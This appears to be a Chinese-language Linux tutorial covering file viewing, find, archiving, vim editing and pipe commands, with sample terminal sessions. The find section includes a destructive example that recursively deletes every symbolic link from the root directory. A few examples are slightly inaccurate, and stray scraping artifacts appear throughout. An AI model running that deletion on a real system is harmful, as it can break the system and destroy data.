2 Kernel \r on an \m

[root@rocky8:/]# cat -n /etc/issue
1 \S
2 Kernel \r on an \m
3

tac与cat命令刚好相反,文件内容从最后一行开始显示,可以看出 tac 是 cat 的倒着写!如:

1
2
3
4
[root@rocky8:/]# tac /etc/issue

Kernel \r on an \m
\S

显示行号:nl

语法:

1
nl [-bnw] 文件

选项与参数:

  • -b :指定行号指定的方式,主要有两种:
    -b a :表示不论是否为空行,也同样列出行号(类似 cat -n);
    -b t :如果有空行,空的那一行不要列出行号(默认值);

  • -n :列出行号表示的方法,主要有三种:
    -n ln :行号在荧幕的最左方显示;
    -n rn :行号在自己栏位的最右方显示,且不加 0 ;
    -n rz :行号在自己栏位的最右方显示,且加 0 ;

  • -w :行号栏位的占用的位数。

1
2
3
4
[root@rocky8:/]# nl /etc/issue
1 \S
2 Kernel \r on an \m

分屏显示:more、less

1
2
3
4
5
6
7
8
[root@rocky8:/]# more /etc/man_db.config 
#
# Generated automatically from man.conf.in by the
# configure script.
#
# man.conf from man-1.6d
....(中间省略)....
--More--(28%) <== 光标在这里等待命令

more运行时可以输入的命令有:

  • 空白键 (space):代表向下翻一页;

  • Enter :代表向下翻『一行』;

  • /字串 :代表在这个显示的内容当中,向下搜寻『字串』这个关键字;

  • :f :立刻显示出档名以及目前显示的行数;

  • q :代表立刻离开 more ,不再显示该文件内容。

  • b 或 [ctrl]-b :代表往回翻页,不过这动作只对文件有用,对管线无用。

1
2
3
4
5
6
7
8
[root@rocky8:/]# less /etc/man.config
#
# Generated automatically from man.conf.in by the
# configure script.
#
# man.conf from man-1.6d
....(中间省略)....
: <== 这里可以等待你输入命令!

less运行时可以输入的命令有:

  • 空白键 :向下翻动一页;

  • [pagedown]:向下翻动一页;

  • [pageup] :向上翻动一页;

  • /字串 :向下搜寻『字串』的功能;

  • ?字串 :向上搜寻『字串』的功能;

  • n :重复前一个搜寻 (与 / 或 ? 有关!)

  • N :反向的重复前一个搜寻 (与 / 或 ? 有关!)

  • q :离开 less 这个程序;

取首尾n行:head、tail

head取出文件前面几行

语法:

1
head [-n number] 文件 

选项与参数:

  • -n :后面接数字,代表显示几行的意思

1
[root@rocky8:~]# head /etc/man.config

默认的情况中,显示前面 10 行!若要显示前 20 行,就得要这样:

1
[root@rocky8:~]# head -n 20 /etc/man.config

tail取出文件后面几行

语法:

1
tail [-n number] 文件 

选项与参数:

  • -n :后面接数字,代表显示几行的意思

  • -f :表示持续侦测后面所接的档名,要等到按下[ctrl]-c才会结束tail的侦测

1
2
3
[root@rocky8:~]# tail /etc/man.config
# 默认的情况中,显示最后的十行!若要显示最后的 20 行,就得要这样:
[root@rocky8:~]# tail -n 20 /etc/man.config

显示当前路径:pwd

1
2
[root@rocky8:~]# pwd
/root

选项与参数:

  • -P :显示出确实的路径,而非使用连结 (link) 路径。

1
2
3
4
5
[root@rocky8:~]# cd /var/mail
[root@rocky8:mail]# pwd
/var/mail
[root@rocky8:mail]# pwd -P
/var/spool/mail

文件操作

创建目录:mkdir

mkdir可以创建一个新的目录。

注意:新建目录的名称不能与当前目录中已有的目录或文件同名,并且目录创建者必须对当前目录具有写权限。

语法:

1
mkdir [-mp] 目录名称

选项与参数:

  • -m :指定被创建目录的权限,而不是根据默认权限 (umask) 设定

  • -p :递归创建所需要的目录

实例:-p递归创建目录:

1
2
3
4
5
[root@rocky8:~]# cd /tmp
[root@rocky8:tmp]# mkdir test <==创建一名为 test 的新目录
[root@rocky8:tmp]# mkdir test1/test2/test3/test4
mkdir: cannot create directory ‘test1/test2/test3/test4’: No such file or directory <== 没办法直接创建此目录啊!
[root@rocky8:tmp]# mkdir -p test1/test2/test3/test4

mkdir创建的目录权限默认根据umask得到,而-m参数可以指定被创建目录的权限:

1
2
3
4
5
6
7
8
9
[root@rocky8:~]# mkdir t1
[root@rocky8:~]# ll
total 0
drwxr-xr-x. 2 root root 6 Feb 20 15:06 t1
[root@rocky8:~]# mkdir t2 -m 711
[root@rocky8:~]# ll
total 0
drwxr-xr-x. 2 root root 6 Feb 20 15:06 t1
drwx--x--x. 2 root root 6 Feb 20 15:06 t2

删除文件:rm

可通过rm删除文件或目录。使用rm命令要小心,因为文件删除后不能恢复。为了防止文件误删,可以在rm后使用-i参数以逐个确认要删除的文件。

常用参数及含义如下表所示:

参数含义
-i以进行交互式方式执行
-f强制删除,忽略不存在的文件,无需提示
-r递归地删除目录下的内容,删除文件夹时必须加此参数

####ln: 建立链接文件

软链接:ln -s 源文件 链接文件

硬链接:ln 源文件 链接文件

软链接类似于Windows下的快捷方式,如果软链接文件和源文件不在同一个目录,源文件要使用绝对路径,不能使用相对路径。

硬链接只能链接普通文件不能链接目录。 两个文件占用相同大小的硬盘空间,即使删除了源文件,链接文件还是存在,所以-s选项是更常见的形式。

rename:修改文件名

rename命令是在Linux和Unix系统中使用的一个命令,用于批量重命名文件或目录。支持正则表达式。基本语法:

1
rename [选项] 表达式 替换的字符 文件...

命令选项:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[root@rocky8:~]#rename -h

Usage:
rename [options] <expression> <replacement> <file>...

Rename files.

Options:
-v, --verbose explain what is being done
-s, --symlink act on the target of symlinks
-n, --no-act do not make any changes
-o, --no-overwrite don't overwrite existing files

-h, --help display this help
-V, --version display version

For more details see rename(1).

下面是rename命令的常用选项

1
2
3
4
-v, --verbose : 显示详细的操作信息 
-s, --symlink : 对符号链接目标进行操作
-h, --help : 显示帮助信息并退出
-V, --version : 显示版本信息并退出

实例1:

1
2
3
4
5
6
7
8
9
10
[root@rocky8:~]#rename -v file afile file0?
`file01' -> `afile01'
`file02' -> `afile02'
`file03' -> `afile03'
`file04' -> `afile04'
`file05' -> `afile05'
`file06' -> `afile06'
`file07' -> `afile07'
`file08' -> `afile08'
`file09' -> `afile09'

实例2:

1
2
3
[root@rocky8:~]#rename file afile *
[root@rocky8:~]#ls
aafile01 aafile09 afile017 afile025 afile033 afile041 afile049 afile057 afile065 afile073 afile081 afile089 afile097......

grep:文本搜索

Linux系统中grep命令是一种强大的文本搜索工具,grep允许对文本文件进行模式查找。如果找到匹配模式, grep打印包含模式的所有行。

grep一般格式为:

1
grep [-选项] '搜索内容串' 文件名

在grep命令中输入字符串参数时,最好引号或双引号括起来。例如:grep 'a' 1.txt

在当前目录中,查找前缀有test字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:

1
2
3
4
$ grep test test* #查找前缀有test的文件包含test字符串的文件  
testfile1:This a Linux testfile! #列出testfile1 文件中包含test字符的行
testfile_2:This is a linux testfile! #列出testfile_2 文件中包含test字符的行
testfile_2:Linux test #列出testfile_2 文件中包含test字符的行

以递归的方式查找符合条件的文件。例如,查找指定目录/etc/acpi 及其子目录(如果存在子目录的话)下所有文件中包含字符串"update"的文件,并打印出该字符串所在行的内容,使用的命令为:

1
2
3
4
5
6
7
$ grep -r update /etc/acpi #以递归的方式查找“etc/acpi”  
#下包含“update”的文件
/etc/acpi/ac.d/85-anacron.sh:# (Things like the slocate updatedb cause a lot of IO.)
Rather than
/etc/acpi/resume.d/85-anacron.sh:# (Things like the slocate updatedb cause a lot of
IO.) Rather than
/etc/acpi/events/thinkpad-cmos:action=/usr/sbin/thinkpad-keys--update

反向查找。前面各个例子是查找并打印出符合条件的行,通过"-v"参数可以打印出不符合条件行的内容。

查找文件名中包含 test 的文件中不包含test 的行,此时,使用的命令为:

1
2
3
4
5
6
7
8
9
$ grep -v test* #查找文件名中包含test 的文件中不包含test 的行  
testfile1:helLinux!
testfile1:Linis a free Unix-type operating system.
testfile1:Lin
testfile_1:HELLO LINUX!
testfile_1:LINUX IS A FREE UNIX-TYPE OPTERATING SYSTEM.
testfile_1:THIS IS A LINUX TESTFILE!
testfile_2:HELLO LINUX!
testfile_2:Linux is a free unix-type opterating system.

查找文件:find

常用用法:

命令含义
find ./ -name test.sh查找当前目录下所有名为test.sh的文件
find ./ -name ‘*.sh’查找当前目录下所有后缀为.sh的文件
find ./ -name “[A-Z]*”查找当前目录下所有以大写字母开头的文件
find /tmp -size 2M查找在/tmp 目录下等于2M的文件
find /tmp -size +2M查找在/tmp 目录下大于2M的文件
find /tmp -size -2M查找在/tmp 目录下小于2M的文件
find ./ -size +4k -size -5M查找当前目录下大于4k,小于5M的文件
find ./ -perm 0777查找当前目录下权限为 777 的文件或目录

Linux find命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。

语法:

1
find path -option [ -print ] [ -exec -ok command ] {} \;

常用参数说明 :

  • -perm xxxx:权限为 xxxx的文件或目录

  • -user: 按照文件属主来查找文件。

  • -size n : n单位,b:512位元组的区块,c:字元数,k:kilo bytes,w:二个位元组

  • -mount, -xdev : 只检查和指定目录在同一个文件系统下的文件,避免列出其它文件系统中的文件

  • -amin n : 在过去 n 分钟内被读取过

  • -anewer file : 比文件 file 更晚被读取过的文件

  • -atime n : 在过去n天内被读取过的文件

  • -cmin n : 在过去 n 分钟内被修改过

  • -cnewer file :比文件 file 更新的文件

  • -ctime n : 在过去n天内被修改过的文件

  • -empty : 空的文件

  • -gid n or -group name : gid 是 n 或是 group 名称是 name

  • -ipath p, -path p : 路径名称符合 p 的文件,ipath 会忽略大小写

  • -name name, -iname name : 文件名称符合 name 的文件。iname 会忽略大小写

  • -type 查找某一类型的文件:

    • b - 块设备文件
    • d - 目录
    • c - 字符设备文件
    • p - 管道文件
    • l - 符号链接文件
    • f - 普通文件
  • -exec 命令名{} \ (注意:“}”和“\”之间有空格)

find实例:

显示当前目录中大于20字节并以.c结尾的文件名

1
find . -name "*.c" -size +20c 

将目前目录其其下子目录中所有一般文件列出

1
find . -type f

将目前目录及其子目录下所有最近 20 天内更新过的文件列出

1
find . -ctime -20

查找/var/log目录中更改时间在7日以前的普通文件,并在删除之前询问它们:

1
find /var/log -type f -mtime +7 -ok rm {} \;

查找前目录中文件属主具有读、写权限,并且文件所属组的用户和其他用户具有读权限的文件:

1
find . -type f -perm 644 -exec ls -l {} \;

查找系统中所有文件长度为0的普通文件,并列出它们的完整路径:

1
find / -type f -size 0 -exec ls -l {} \;

从根目录查找类型为符号链接的文件,并将其删除:

1
find / -type l -exec rm -rf {} \

从当前目录查找用户tom的所有文件并显示在屏幕上

1
find . -user tom

在当前目录中查找所有文件以.doc结尾,且更改时间在3天以上的文件,找到后删除,并且给出删除提示

1
find . -name *.doc  -mtime +3 -ok rm {} \;

在当前目录下查找所有链接文件,并且以长格式显示文件的基本信息

1
find . -type l -exec ls -l {} \;

在当前目录下查找文件名有一个小写字母、一个大写字母、两个数字组成,且扩展名为.doc的文件

1
find . -name '[a-z][A-Z][0-9][0-9].doc'

拷贝文件:cp

cp命令的功能是将给出的文件或目录复制到另一个文件或目录中,相当于DOS下的copy命令。

常用选项说明:

选项含义
-a该选项通常在复制目录时使用,它保留链接、文件属性,并递归地复制目录,简单而言,保持文件原有属性。
-f已经存在的目标文件而不提示
-i交互式复制,在覆盖目标文件之前将给出提示要求用户确认
-r若给出的源文件是目录文件,则cp将递归复制该目录下的所有子目录和文件,目标文件必须为一个目录名。
-v显示拷贝进度
-l创建硬链接(hard link),而非复制文件本身
-s复制成为符号链接 (symbolic link),相当于批量创建快捷方式
-u若 destination 比 source 旧才升级 destination !

cp vim_configure/ code/ -ivr 把文件夹 vim_configure 拷贝到 code 目录里。

移动文件:mv

mv命令用来移动文件或目录,也可以给文件或目录重命名。

常用选项说明:

选项含义
-f禁止交互式操作,如有覆盖也不会给出提示
-i确认交互方式操作,如果mv操作将导致对已存在的目标文件的覆盖,系统会询问是否重写,要求用户回答以避免误覆盖文件
-v显示移动进度

mv可以修改文件名:

1
2
3
4
5
6
7
8
9
[root@rocky8:~]#ll
total 4
-rw-------. 1 root root 1256 Feb 18 21:18 anaconda-ks.cfg
-rw-r--r--. 1 root root 0 Feb 19 11:43 test.txt
[root@rocky8:~]#mv test.txt test
[root@rocky8:~]#ll
total 4
-rw-------. 1 root root 1256 Feb 18 21:18 anaconda-ks.cfg
-rw-r--r--. 1 root root 0 Feb 19 11:43 test

归档管理:tar

此命令可以把一系列文件归档到一个大文件中,也可以把档案文件解开以恢复数据。

tar使用格式 tar [参数] 打包文件名 文件

tar命令参数很特殊,其参数前面可以使用“-”,也可以不使用。

常用参数:

参数含义
-c生成档案文件,创建打包文件
-v列出归档解档的详细过程,显示进度
-f指定档案文件名称,f后面一定是.tar文件,所以必须放选项最后
-t列出档案中包含的文件
-x解开档案文件

注意:除了f需要放在参数的最后,其它参数的顺序任意。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[root@rocky8:~]# tar -cvf test.tar {1..3}.txt
1.txt
2.txt
3.txt
[root@rocky8:~]# ll
total 12
-rw-r--r--. 1 root root 0 Feb 20 15:14 1.txt
-rw-r--r--. 1 root root 0 Feb 20 15:14 2.txt
-rw-r--r--. 1 root root 0 Feb 20 15:14 3.txt
-rw-r--r--. 1 root root 10240 Feb 20 15:14 test.tar
[root@rocky8:~]# rm -rf *.txt
[root@rocky8:~]# ll
total 12
-rw-r--r--. 1 root root 10240 Feb 20 15:14 test.tar
[root@rocky8:~]# tar -xvf test.tar
1.txt
2.txt
3.txt
[root@rocky8:~]# ll
total 12
-rw-r--r--. 1 root root 0 Feb 20 15:14 1.txt
-rw-r--r--. 1 root root 0 Feb 20 15:14 2.txt
-rw-r--r--. 1 root root 0 Feb 20 15:14 3.txt
-rw-r--r--. 1 root root 10240 Feb 20 15:14 test.tar

文件压缩解压:gzip、bzip2

tar与gzip命令结合使用实现文件打包、压缩。 tar只负责打包文件,但不压缩,用gzip压缩tar打包后的文件,其扩展名一般用xxxx.tar.gz。

gzip使用格式如下:

1
gzip  [选项]  被压缩文件

常用选项:

选项含义
-d解压文件
-r压缩文件
1
2
3
4
5
6
7
8
[root@rocky8:~]# ll *.tar*
-rw-r--r--. 1 root root 10240 Feb 20 15:14 test.tar
[root@rocky8:~]# gzip -r test.tar test.tar.gz ==>或者:gzip test.tar
[root@rocky8:~]# ll *.tar*
-rw-r--r--. 1 root root 131 Feb 20 15:14 test.tar.gz
[root@rocky8:~]# gzip -d test.tar.gz
[root@rocky8:~]# ll *.tar*
-rw-r--r--. 1 root root 10240 Feb 20 15:14 test.tar

tar命令中-z选项可以调用gzip实现了一个压缩的功能,实行一个先打包后压缩的过程。

压缩用法:tar zcvf 压缩包包名 文件1 文件2 …

例如: tar zcvf test.tar.gz 1.c 2.c 3.c 4.c把 1.c 2.c 3.c 4.c 压缩成 test.tar.gz

1
2
3
4
5
6
7
8
9
10
11
12
[root@rocky8:~]# ls
1.c 2.c 3.c 4.c
[root@rocky8:~]# tar -zcvf test.tar.gz {1..4}.c
1.c
2.c
3.c
4.c
[root@rocky8:~]# ls
1.c 2.c 3.c 4.c test.tar.gz
[root@rocky8:~]# gzip -d test.tar.gz
[root@rocky8:~]# ls
1.c 2.c 3.c 4.c test.tar

解压用法: tar zxvf 压缩包包名

例如:

1
2
3
4
5
6
7
8
9
[root@rocky8:~]# ls
new.tar.gz test.tar test.tar.gz
[root@rocky8:~]# tar -zxvf new.tar.gz
1.c
2.c
3.c
4.c
[root@rocky8:~]# ls
1.c 2.c 3.c 4.c new.tar.gz test.tar test.tar.gz

解压到指定目录:-C (解压时可以不指定-z选项)

1
2
3
4
5
6
7
8
9
[root@rocky8:~]# ls
1.c 2.c 3.c 4.c new.tar.gz test.tar test.tar.gz
[root@rocky8:~]# tar -zxvf new.tar.gz -C number/
1.c
2.c
3.c
4.c
[root@rocky8:~]# ls number/
1.c 2.c 3.c 4.c

bzip2命令跟gzip用法类似

压缩用法:tar jcvf 压缩包包名 文件…(tar jcvf bk.tar.bz2 *.c)

解压用法:tar jxvf 压缩包包名 (tar jxvf bk.tar.bz2)

文件压缩解压:zip、unzip

通过zip压缩文件的目标文件不需要指定扩展名,默认扩展名为zip。

压缩文件:zip [-r] 目标文件(没有扩展名) 源文件

解压文件:unzip -d 解压后目录文件 压缩文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@rocky8:~]# ls
1.txt 2.txt 3.txt 4.txt test.tar
[root@rocky8:~]# zip myzip *.txt
adding: 1.txt (stored 0%)
adding: 2.txt (stored 0%)
adding: 3.txt (stored 0%)
adding: 4.txt (stored 0%)
[root@rocky8:~]# ls
1.txt 2.txt 3.txt 4.txt myzip.zip test.tar
[root@rocky8:~]# rm -f *.txt *.tar
[root@rocky8:~]# ls
myzip.zip
[root@rocky8:~]# unzip myzip
Archive: myzip.zip
extracting: 1.txt
extracting: 2.txt
extracting: 3.txt
extracting: 4.txt
[root@rocky8:~]# ls
1.txt 2.txt 3.txt 4.txt myzip.zip

本文参考:

vim的使用

什么是 vim?

Vim是从 vi 发展出来的一个文本编辑器。代码补完、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。vim 的官方网站 (http://www.vim.org)

vim 键盘图:

img

基本上vi可以分为三种状态:

  • 命令模式(command mode)

  • 插入模式(Insert mode)

  • 底行模式(last line mode)

vi/vim的三种模式

vi/vim主要分为三种模式,分别是命令模式(Command mode)输入模式(Insert mode)**和**底线命令模式(Last line mode)

img

这三种模式的作用分别是:

输入模式

在命令模式下输入插入命令i、附加命令a 、打开命令o、修改命令c、取代命令r或替换命令s都可以进入文本输入模式。在该模式下,用户输入的任何字符都被Vi当做文件内容保存起来,并将其显示在屏幕上。在文本输入过程中,若想回到命令模式下,按键ESC即可。

命令模式

用户刚刚启动 vi/vim,便进入了命令模式。 任何时候,不管用户处于何种模式,只要按一下ESC键,即可使Vi进入命令模式;

此状态下敲击键盘动作会被Vim识别为命令,输入: 可切换到底线命令模式,以在最底一行输入命令。

若想要编辑文本:启动Vim,进入了命令模式,按下i,切换到输入模式。

底行模式

在命令模式下按下:(英文冒号)就进入了底行命令模式。

底线命令模式可以输入单个或多个字符的命令,可用的命令非常多。

在底线命令模式中,基本的命令有(已经省略了冒号):

  • q 退出程序

  • w 保存文件

按ESC键可随时退出底线命令模式。

vim基础操作

进入输入模式(Insert mode)

1574384484673

  • i: 插入光标前一个字符

  • I: 插入行首

  • a: 插入光标后一个字符

  • A: 插入行未

  • o: 向下新开一行,插入行首

  • O: 向上新开一行,插入行首

在进入输入模式后, vi 画面的左下角处会出现『–INSERT–』的字样

进入替换模式(Replace mode)

  • r : 只会取代光标所在的那一个字符一次

  • R: 会一直取代光标所在的文字,直到按下ESC为止

在进入输入模式后, vi 画面的左下角处会出现『–REPLACE–』的字样

命令模式常用命令

移动光标
移动光标的方法
h 或 向左箭头键(←)光标向左移动一个字符
j 或 向下箭头键(↓)光标向下移动一个字符
k 或 向上箭头键(↑)光标向上移动一个字符
l 或 向右箭头键(→)光标向右移动一个字符
向下移动 30 行,可以使用 “30j” 或 “30↓” 的组合按键
[Ctrl] + [f]屏幕『向下』移动一页,相当于 [Page Down]按键 (常用)
[Ctrl] + [b]屏幕『向上』移动一页,相当于 [Page Up] 按键 (常用)
[Ctrl] + [d]屏幕『向下』移动半页
[Ctrl] + [u]屏幕『向上』移动半页
+光标移动到非空格符的下一行
-光标移动到非空格符的上一行
n表示空格光标向右移动这一行的 n 个字符。例如 20 则光标会向后面移动 20 个字符距离。
0 或功能键[Home]这是数字『 0 』:移动到这一行的最前面字符处 (常用)
$ 或功能键[End]移动到这一行的最后面字符处(常用)
H光标移动到这个屏幕的最上方那一行的第一个字符
M光标移动到这个屏幕的中央那一行的第一个字符
L光标移动到这个屏幕的最下方那一行的第一个字符
G移动到这个文档的最后一行(常用)
nGn 为数字。移动到这个文件的第 n 行。例如 20G 则会移动到这个文件的第 20 行(可配合 :set nu)
gg移动到这个文档的第一行,相当于 1G
nn 为数字。光标向下移动 n 行(常用)
删除操作
删除操作删除后会添加到剪切板,相当于剪切
x, Xx为向后删除一个字符 (相当于 [del] 按键), X为向前删除一个字符(相当于 [backspace] )
nxn 为数字,连续向后删除 n 个字符。例如10x表示连续删除 10 个字符。
dd删除光标所在的一整行(常用)
nddn 为数字。删除光标所在的向下 n 行,例如 20dd 则是删除 20 行
d1G删除光标所在行到首行的所有数据
dG删除光标所在行到最后一行的所有数据
d$删除光标所在位置到该行的最后一个字符
d0删除光标所在位置到该行的最前面一个字符
撤销&复原&重复
撤销&复原
u撤销操作,相对于普通编辑器里面的ctrl+z
Ctrl+r恢复操作,相对于普通编辑器里面的ctrl+y
.就是小数点!可重复前一个动作
复制&粘贴
复制&粘贴
yy复制光标所在行
nyyn 为数字。复制光标所在的向下 n 行,例如 20yy 则是复制 20 行
y1G复制光标所在行到第一行的所有数据
yG复制光标所在行到最后一行的所有数据
y0复制光标所在的那个字符到该行行首的所有数据
y$复制光标所在的那个字符到该行行尾的所有数据
p, Pp 为将已复制的数据在光标下一行贴上,P 则为贴在光标上一行!
合成行
  • J: 将光标所在行与下一行的数据结合成同一行

搜索
搜索
/word向光标之下寻找一个名称为 word 的字符串。
?word向光标之上寻找一个字符串名称为 word 的字符串。
n代表重复前一个搜寻的动作,根据前面输入的/word还是?word向下或向上搜索下一个匹配的字符串。
N表示反向搜索,与n的搜索方向相反。
替换
替换
:n1,n2s/word1/word2/g在第 n1 与 n2 行之间寻找word1并替换为word2!比如『:100,200s/vbird/VBIRD/g』表示在100到200行之间将vbird替换为VBIRD
:1,$s/word1/word2/g:%s/word1/word2/g$表示最后一行,%s表示所有行。
:1,$s/word1/word2/gc:%s/word1/word2/gcgc中的c表示取代前显示提示字符给用户确认 (confirm) !
底行命令模式的常用操作
底行命令模式
:w保存编辑数据
:w!若文件属性为『只读』时,强制写入该文件。不过,到底能不能写入, 还是跟你对该文件的文件权限有关啊!
:q离开 vi
:q!若曾修改过文件,又不想储存,使用 ! 为强制离开不储存文件。
惊叹号 (!) 在 vi 当中,常常具有『强制』的意思~
:wq储存后离开,若为 :wq! 则为强制储存后离开
ZZ若文件没有更动,则不储存离开,若文件已经被更动过,则储存后离开!
:w [filename]另存为
:r [filename]将另一个文件『filename』的数据加到光标所在行后面
:n1,n2 w [filename]将 n1 到 n2 行的内容储存成 filename 这个文件。
:! command暂时离开 vi 到指令行模式下执行 command 的显示结果!例如 『:! ls /home』即可在 vi 当中察看 /home 底下以 ls 输出的文件信息!
:set nu会在每一行的前缀显示该行的行号
:set nonu取消行号显示

示例:

1
2
将当前路径插入到光标的下一行
:r!pwd

可视模式

v 进入字符可视化模式: 文本选择是以字符为单位的。
V 进入行可视化模式: 文本选择是以行为单位的。
Ctrl+v 进入块可视化模式 : 选择一个矩形内的文本。

可视模式下可进行如下操作:

可视模式操作
A在选定的部分后面插入内容
I在选定的部分前面插入内容
d删除选定的部分
c删除选定的部分并进入插入模式(有批量替换效果)
r把选定的部分全部替换为指定的单个字符
>>向右缩进一个单位,更适合行可视化模式
<<向左缩进一个单位,更适合行可视化模式
gu选中区域转为小写
gU选中区域转为大写
g~大小写互调

可视模式下,选中的区域是由两个端点来界定的(一个在左上角,一个在右下角),在默认情况下只可以控制右下角的端点,而使用o按键则可以在左上角和右下角之间切换控制端点。

VIM快速复习

按:冒号即可进入last line mode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
:set nu 列出行号
:set nonu 取消行号
:#7 跳到文件中的第7行
/keyword 查找字符 按n向下
?keyword 查找字符 按N向下
:n1,n2/word1/word2/gc 替换指定范围单词,c表示提示
:w 保存文件
:w filename 以指定的文件名另存
:n1,n2 w [filename] 将 n1 到 n2行另存
:r [filename] 读入另一个文件加到光标所在行后面
:! ls /home 在vi当中察看ls输出信息!
:q离开vi
:wq:ZZ:x 保存并退出vi
!强制执行
:% s/^/#/g 来在全部内容的行首添加 # 号注释
:1,10 s/^/#/g1~10 行首添加 # 号注释

从command mode进入Insert mode

按i在当前位置编辑按a在当前位置的下一个字符编辑按o插入新行,从行首开始编辑按R(Replace mode):R会一直取代光标所在的文字,直到按下 ESC为止;(常用)

按ESC键退回command mode

h←j↓k↑l→前面加数字移动指定的行数或字符数
1、翻页bu上下整页,ud上下半页

1
2
3
4
ctrl+b:上移一页。
ctrl+f:下移一页。
ctrl+u:上移半页。
ctrl+d:下移半页。

2、行定位

1
2
3
4
5
7gg7G:定位第7行首字符。(可能只在Vim中有效)
G:移动到文章的最后。
7H:当前屏幕的第7行行首
M:当前屏幕中间行的行首
7L:当前屏幕的倒数第7行行首

3、当前行定位

1
2
3
4
5
$:移动到光标所在行的“行尾”。
0或^:移动到光标所在行的“行首”
w:光标跳到下个单词的开头
e:光标跳到下个单词的字尾
b:光标回到上个单词的开头

4、编辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
x:剪切当前字符
7x:剪切从当前位置起7个字符
大写的X,表示从前面一个字符开始往前计算
dd:剪切光标所在行。
7dd:从光标所在行开始剪切7行
d7G 删除光标所在到第7行的所有数据
yw:复制当前单词
7yw:复制从当前位置起7个单词
yy:复制当前行
6yy:从当前行起向下复制6行
y7G 复制游标所在列到第7列的所有数据
p:粘贴
u:撤销
ctrl+r:取消撤销
cw:删除当前单词(从光标位置开始计算),并进入插入模式
c7w:删除7个单词并进入插入模式

多行编辑,vim支持,vi不支持

按ctrl+V进入块模式,上下键选中快,按大写G选择到末尾,上下左右键移动选择位置按大写I进去编辑模式,输入要插入的字符,编辑完成按ESC退出选中要替换的字符后,按c键全部会删除,然后输入要插入的字符,编辑完成按ESC退出选中要替删除的字符后,按delete键,则会全部删除

按shift+V可进入行模式,对指定行操作

vim练习

1、创建目录/tmp/test,将/etc/man.config复制到该目录下

1
2
3
# mkdir -p /tmp/test
# cp /etc/man.config /tmp/test/
# cd /tmp/test/

2、用vim编辑man.config文件:

1
vim man.config

3、设置显示行号; 移动到第58行,向右移动40个字符,查看双引号内的是什么目录;

1
2
3
set nu
58G 或58gg
40-> 或40空格 目录为:/dir/bin/foo

4、移动到第一行,并向下查找“bzip2”这个字符串,它在第几行;

1
2
3
移动到最后一行,并向上查找该字符串;
gg 或1G
/bzip 137行 ?bzip2

5、将50行到100行之间的man更改为MAN,并且 逐个挑选 是否需要修改;

1
2
若在挑选过程中一直按y,结果会在最后一行出现改变了几个man?
:50,100s/man/MAN/gc 25次替换

6、修改完后,突然反悔了,要全部复原,有哪些方法?

1
2
3
一直按u键	
或者
:q!强制不保存退出后,再重新打开该文件

7、复制65到73这9行的内容(含有MANPATH_MAP),并且粘贴到最后一行之后;

1
65gg65G到该行后,9yy,G 移动到最后一行,p粘贴

8、21行到42行之间开头为#符号的批注数据不要了,如何删除;

1
21G到该行 22dd

9、将这个文件另存为man.test.config的文件

1
:w man.test.config

10、到第27行,并且删除15个字符,结果出现的第一个字符是什么?

1
27gg15x

11、在第一行新增一行,在该行内输入“I am a student ”

1
gg到第一行 O输入即可 说明:o是在当前行之后插入一行,O是在当前行之前插入一行

12、保存并退出

1
:wq

正则表达式(待写)

Linux管道命令

Linux的管道命令是’|’,通过它可以对数据进行连续处理,其示意图如下:

img

注意:

1)管道命令仅处理标准输出,对于标准错误输出,将忽略

2)管道命令右边命令,必须能够接收标准输入流命令才行,否则传递过程中数据会抛弃。

常用来作为接收数据管道命令有: less,more,head,tail,而ls, cp, mv就不行。

wc - 统计字数

可以计算文件的Byte数、字数、或是列数,若不指定文件名称、或是所给予的文件名为"-",则wc指令会从标准输入设备读取数据。

1
2
3
4
5
6
7
8
9
10
11
wc [-lwm] [filename]
-l: 统计行数
-w:统计英文单词
-m:统计字符数
python@xxx:~$ wc -l /etc/passwd
49 /etc/passwd
python@xxx:~$ wc -w /etc/passwd
81 /etc/passwd
python@xxx:~$ wc -m /etc/passwd
2696 /etc/passwd
12345678910

在默认的情况下,wc将计算指定文件的行数、字数,以及字节数。使用的命令为:

1
2
3
$ wc testfile           # testfile文件的统计信息  
3 92 598 testfile # testfile文件的行数为3、单词数92、字节数598
12

其中,3 个数字分别表示testfile文件的行数、单词数,以及该文件的字节数。

如果想同时统计多个文件的信息,例如同时统计testfile、testfile_1、testfile_2,可使用如下命令:

1
2
3
4
5
6
$ wc testfile testfile_1 testfile_2  #统计三个文件的信息  
3 92 598 testfile #第一个文件行数为3、单词数92、字节数598
9 18 78 testfile_1 #第二个文件的行数为9、单词数18、字节数78
3 6 32 testfile_2 #第三个文件的行数为3、单词数6、字节数32
15 116 708 总用量 #三个文件总共的行数为15、单词数116、字节数708
12345

cut - 列选取命令

1
2
3
4
5
选项与参数:
-d :后面接分隔字符。与 -f 一起使用;
-f :依据 -d 的分隔字符将一段信息分割成为数段,用 -f 取出第几段的意思;
-c :以字符 (characters) 的单位取出固定字符区间;
1234

cut以行为单位,根据分隔符把行分成若干列,这样就可以指定选取哪些列了。

1
2
3
4
5
6
7
cut -d '分隔字符' -f 选取的列数
echo $PATH|cut -d ':' -f 2 --选取第2列
echo $PATH|cut -d ':' -f 3,5 --选取第3列和第5列
echo $PATH|cut -d ':' -f 3-5 --选取第3列到第5列
echo $PATH|cut -d ':' -f 3- --选取第3列到最后1列
echo $PATH|cut -d ':' -f 1-3,5 --选取第1到第3列还有第5列
123456

只显示/etc/passwd的用户和shell:

1
2
3
4
5
#cat /etc/passwd | cut -d ':' -f 1,7 
root:/bin/bash
daemon:/bin/sh
bin:/bin/sh
1234

grep - 行选取命令

grep一般格式为:

1
2
grep [-cinv] '查找的字符串' filename
1

在grep命令中输入字符串参数时,最好引号或双引号括起来。例如:grep 'a' 1.txt

常用选项说明:

选项含义
-v显示不包含匹配文本的所有行(相当于求反)
-n显示匹配行及行号
-i忽略大小写
-c计算找到的行数

grep搜索内容串可以是正则表达式,常用正则表达式:

参数含义
^a行首,搜寻以 m 开头的行;grep -n ‘^a’ 1.txt
